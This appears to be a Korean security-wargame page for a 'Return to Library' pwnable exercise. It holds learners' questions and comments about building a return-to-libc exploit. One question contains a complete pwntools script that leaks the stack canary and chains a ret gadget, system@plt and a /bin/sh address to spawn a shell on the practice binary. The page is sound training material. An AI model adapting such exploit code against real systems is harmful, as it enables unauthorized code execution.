학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 2
Return to Library
pwnable
3934
2169
로그인 하고 문제 풀기
문제 정보
풀이
91
난이도 투표
105
질문
26
최근 풀이자
2169
댓글
40
문제 설명
Description
Exploit Tech: Return to Library에서 실습하는 문제입니다.
Translate
난이도 투표
105
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 21
상상이
.HACK 2025 참가자
LEVEL 2에 투표했습니다.
3일 전
dnx04
대표 업적 없음
LEVEL 2에 투표했습니다.
5일 전
hstuk
강의 수강: 1
LEVEL 2에 투표했습니다.
8일 전
h4q
대표 업적 없음
LEVEL 2에 투표했습니다.
8일 전
Larry.
워게임: 20
LEVEL 2에 투표했습니다.
10일 전
질문
23
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
질문입니다
익스플로잇 코드를 작성하다가 궁금한 점이 생겨서 질문합니다 강의를 보고 어찌저찌 코드를 작성한 후 실행 했더니 image.png 이런식으로 출력이 됩니다 어딘가를 잘못했나 해서 코드를 살펴봤으나 어디가 잘못되었는지를 몰라서정답코드를 참고했습니다 저의 코드에는 이 부분이 빠져있더라고요 그래서 이 부분을 추가하니 셸을 획득하는데 성공했습니다 image.png 왜 이런 현상이 발생했는지 궁금합니다
EnUm
답변
1
추천
0
11개월 전
gdb에서 프로그램이 실행되지 않습니다.
캡처 위 사진처럼 처음 카나리 릭을 위해서 buf를 입력받는 시점에 프로그램이 멈춥니다. 그리고 다시 r로 실행하니 셸만 뜨고 아무 명령을 입력하면 gdb까지 종료됩니다. 아무리 검색해봐도 관련된 내용으로 쓰인 글이 보이지가 않습니다 ㅠㅠ
SuperVingo
답변
1
추천
0
3년 전
잘 모르겠습니다
강의 내용을 보면 이런 부분이 있습니다. addr of ("pop rdi; ret") << return address addr of string "/bin/sh" << ret + 0x8 addr of "system" plt << ret + 0x10 **리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면, pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있습니다.** pop rdi를 사용해서 rdi에 "/bin/sh"의 주소가 어떻게 들어가는지 모르겠습니다. 그리고, ret 후 system() 함수가 어떻게 호출 가능한지...
EnUm
답변
1
추천
0
1년 전
dummy buf의 정확한 값
dummy buf의 정확한 값을 알 수 있는 방법이 있을까요? gdb에서는 buf가 0x40으로 찍히는데, 왜 카나리 leak할때 페이로드를 "A" * 0x39로 보내나요?
cccclllllhhhhnn
답변
2
추천
0
2년 전
system함수의 plt문제
ret영역에서 main함수의 주소를 넣어서 Return to library자체는 되는것을 확인했습니다. 예제파일내에서 system("echo 'system@plt")가 system함수의 plt를 설정해준다는 것도 이해했는데 payload를 작성하여 system@plt주소를 이용할려는데 다음과 같은 에러로 plt안에 아무것도 없다는 에러가 발생하는데 이유를 아시는 분들은 답변해주시면 감사드리겠습니다. 스크린샷 2022-10-03 오후 6.16.33.png
Greedun
답변
2
추천
0
3년 전
질문 세 개
buf와 canary 사이에 있으면서 길이가 0x8인 값의 정체는 무엇인가요? pop rdi; ret 직후에 /bin/sh의 주소를 넣는 게 어떻게 rdi가 그 주소를 가리키도록 하는 결과를 낳나요? 저는 이 문제를 무차별 대입법으로 풀었습니다. 실제로 써야 하는 no-op gadget 값은 무엇이며, 왜 그 값을 써야 하나요?
모레
답변
1
추천
0
2년 전
RTL
image.png image.png payload 짜고 실행하면 위 사진처럼 오류가 뜨는데 python 버전 때문인가요..? 왜 그러는지 모르겠습니다..
oog
답변
2
추천
0
2년 전
스택 버퍼 오버플로우를 위한 페이로드 길이 계산하는 방법?
교재에 있는 exploit 파이썬 코드에서 Canary 얻기 위해 사용한 길이 0x39(buf = b"A"0x39)와 RTL을 위해 사용한 페이로드 길이 0x38(payload = b"A"0x38 + ...)를 계산하는 방법을 구체적으로 알고 싶습니다. GDB를 이용해서 알아낸다고 하는데 절차가 궁금합니다.
브라이언
답변
1
추천
0
3년 전
RTL payload 구성 과정 중 return과 pop rdi; ret & bin/sh & system
안녕하세요 문제를 풀다 보니 아직 이해가 원할하지 않아서 질문 드립니다 도와주세요ㅠㅠㅠ payload를 구성하는 단계에서 buf + canary + rbp + ret + pop rdi; ret + "bin/sh" + system@plt 인 것을 확인했습니다. 여기서 질문이 생겼습니다. rbp값까지 dummy값으로 덮은 후에 ret주소를 왜 ROPgadget --binary rtl 로 찾은 ret값으로 덮은 후에 pop rdi; ret 이라는 값을 그 이후에 또 덮는지 이해가 잘 안됩니다. ret 주소 이후에서 pop rdi; ret에서 ret이 또 있는데 어찌하여 ret이 두 번 진행되는 건가요?? "bin/sh"를 rdi값에 넣은 후에 system명령어를 호출해야 되는 것으로 알고 있습니다. 근데 어째서 pop rid; ret 이후에 "bin/sh"에 대한 것을 넣으면 rdi값에 "bin/sh"가 들어가게 되는 건가요? system 명령어도 마찬가지로 어떻게 실행이 되는지 궁금합니다. payload를 구성하는 단계가 아직 완벽히 이해되지 않아서 설명해주실 고수님들 부탁드립니다ㅠㅠ
PaPya
답변
1
추천
0
8개월 전
왜 프로세스가 죽는지 모르겠습니다..
죽은 부분.. 진짜 뭐가 문제일까요.... stack alignment 깨지는거 같아서 맞춰주려고 ret 가젯 중간에 한번 넣어줬구요. binsh 포인터 변수가 문제인가 싶어서 포인터변수가 가르키는 주소로 해봤구요. 진짜 뭐가 문제인지 모르겠습니다.. 도와주세요.. from pwn import * #p = remote('host1.dreamhack.games', 10731) p = process('./rtl') binsh = 0x402004 sys = 0x4010b0 ret = 0x000000000040101a leak_canary = b'A'* (56+1) # null byte pause() p.send(leak_canary) p.recvuntil(leak_canary) canary = u64(b'\x00'+p.recv(7)) print('canary: '+hex(canary)) print('sys: '+hex(sys)) print('binsh: '+hex(binsh)) payload = b'B' * 56 payload += p64(canary) payload += b'C' * 8 payload += p64(ret) payload += p64(sys) payload += p64(binsh) p.sendlineafter(b"Buf: ", payload) p.interactive()`
Z3R0C0K3
답변
1
추천
0
6개월 전
«
‹
1
2
3
›
»
LEVEL 2
Return to Library
pwnable
3934
2169
로그인 하고 문제 풀기
출제자 정보
Dreamhack
대표 업적 없음
2021.12.08. 16:20:39
First Blood!
Sechack
2024 Invitational Contenders
출제된 지
4시간
만에 풀이 완료!
최근 풀이자
2169
0wl
대표 업적 없음
28분 전
Trust | lighty
대표 업적 없음
6시간 전
Cooties
대표 업적 없음
8시간 전
os123
대표 업적 없음
9시간 전
DWA
대표 업적 없음
19시간 전
DaV1tch
대표 업적 없음
2일 전
hoojoohoo
대표 업적 없음
2일 전
이효진
대표 업적 없음
2일 전
ssik
대표 업적 없음
2일 전
상상이
.HACK 2025 참가자
3일 전
«
‹
1
2
3
4
5
›
»
댓글
40
Ma_Mu0228
묘목
1개월 전
'ret' 가젯은 단순히 스택 최상단 데이터를 rip로 옮기고, rsp를 그 다음 rsp+8 위치 데이터로 바꾸는 기능입니다. 간단히 보면 스택 8바이트 추가 기능이라 스택 정렬에 쓰는 겁니다.
Translate
Raffin
대표 업적 없음
7개월 전
search 사용시 에러 발생하시는 분 search -t string "/bin/sh" 타입 지정해서 사용해보시기 바랍니다. 그리고 system@plt 호출되고 넘기면 /usr/bin/dash 열리고 read 함수로 넘어가 버리는데 원인을 모르겠네요
Translate
머더뻐킨 릴 투더 빅 뽀이 예아 그ㄹㄹㄹㄹ라
대표 업적 없음
1년 전
어렵지만 꽤 많이 배운듯
Translate
스카이넷
워게임 고인물
1년 전
ez
Translate
O_F
대표 업적 없음
2년 전
좋습니다.
Translate
buaii
워게임 고인물
2년 전
GOT...
Translate
피곤해요
대표 업적 없음
2년 전
good...
Translate
KUSC2009
Perfect 10
2년 전
good
Translate
sinse100
대표 업적 없음
2년 전
remind the alignment
Translate
l000wk3y
공부벌레
2년 전
gg
Translate
«
‹
1
2
3
4
›
»
댓글 40